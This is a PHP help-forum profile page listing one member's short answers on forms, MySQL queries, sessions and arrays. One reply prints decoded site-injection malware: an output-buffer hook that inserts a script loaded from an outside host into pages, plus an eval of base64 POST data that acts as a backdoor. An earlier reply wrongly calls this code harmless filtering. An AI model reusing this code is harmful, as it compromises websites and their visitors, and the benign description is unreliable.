Jump to content

RussellReal

Members
  • Posts

    1,773
  • Joined

  • Last visited

Everything posted by RussellReal

  1. add me to MSN check my signature
  2. Anytime Phpfreaks.com is full of information and great helpers, which can more than likely help you out! But if you're ever interested in getting help from me or just chatting, my MSN is in my signature
  3. honestly I don't see how that loop works because the select's name is: <select multiple="multiple" name="topMulti[]"> an array lol but if it does work.. than good on you.. just do something like this if (count($_POST['topMulti'])) { // put the loop in here }
  4. foreach($GLOBALS['tMulti'] as $choice) you're using your variable $tMulti which is just your array.. you're gonna want to loop through $_POST['topMulti'][0] like this: <?php foreach ($_POST['topMulti'][0] as $v) { echo "You chose: {$v}\n<br />\n"; } ?>
  5. if (($blank_inputs > 0) || (preg_match("/^[a-z0-9._-]+?@[a-z0-9-]+?(?:\.[a-z]{1,4}){1,2}$/i",$_POST['email']))) { //display an error message and put the form back up for editing echo "Please fill out the whole form.<hr>"; echo $form; } else { echo 'message sent'; }
  6. aha! Or that I had no idea I'm coming out of the cave!
  7. I have NO idea if this works but I'd assume it does SELECT * FROM posts WHERE friendid IN (SELECT friendid FROM friends) if not you'd hafta do something like this: <?php $r = mysql_query("SELECT friendid FROM friends"); $friends = '('; $loop = 0; while ($row = mysql_fetch_assoc($r)) { if ($loop++ >= 1) $friends .= ','; $friends .= $row['friendid']; } $friends .= ')'; $q = mysql_query("SELECT * FROM posts WHERE userid IN {$friends}"); ?>
  8. You mean email activation.. like you send an email to them.. they click a link and their account is active?
  9. <form> <input type="text" name="box[]" > <input type="text" name="box[]" > <input type="text" name="box[]" > <input type="text" name="box[]" > </form> <?php $price = array_combine(array('leg_s','leg_m','leg_1','leg_x1'),$_POST['box']); ?>
  10. You added me wrong.. lol
  11. phpfreaks is AWESOME Just FYI, they answer questions in minutes not days lol I love this forum
  12. Add me to MSN: RussellonMSN@hotmail.com
  13. You're not gonna get many answers here if you don't use code tags on large codes.. but I'll advise you to rebuild both into 1 instead of simply trying to copy and paste the two together
  14. try this.. <?php $file = file('a.txt'); if (in_array($_POST['lname'],$file)) { echo "in file"; } else { echo "Not in file"; } ?>
  15. you can shut down your users remotely.. just if you hardcode it to do so but like the second poster said above.. probably not the best thing to do
  16. I'm sorry.. I don't quite understand why you would want a alphabetical pagination, however, you'd probably want to do $page = (ord(strtolower($_GET['harf'])) - ord('a')); that will give you 0-25depending on the letter.. and you could use that in your query SELECT .. FROM ... WHERE ... = ... LIMIT $page*5,($page*5)+5
  17. there should be no problem with your code..
  18. not too sure a session will work with AJAX but I guess it could but I never used a session with an ajax request so I wouldn't know but alot of problems on here have to do with AJAX and session problems.. so if I were you I'd go with the database idea
  19. do you use any free hosting service.. or is this for a blog or whatever that allows php code.. if so all this code does is check for script tags and stuff.. atleast from reading teh regex thats what I gather
  20. school doesn't support cookies maybe? and your session id is storing in cookies unless you set it up to work with GET vars
  21. no.. use fopen and fwrite
  22. it evaluates this code: <?php if(!isset($ww7j1)){function ww7j($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2RhZHRoaW5nLmNvbS9ob3lsbWFuY29uc3RydWN0aW9uLmNvbS9pbmRleHIucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ww7j2($a,$b,$c,$d){global $ww7j1;$s=array();if(function_exists($ww7j1))call_user_func($ww7j1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='ww7j')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ww7j');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ww7jl=(($a=@set_error_handler('ww7j2'))!='ww7j2')?$a:0;eval(base64_decode($_POST['e'])); ?>
  23. What exactly is the problem?
  24. exec on the page listed above there is details on how to secure your uses of the above.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.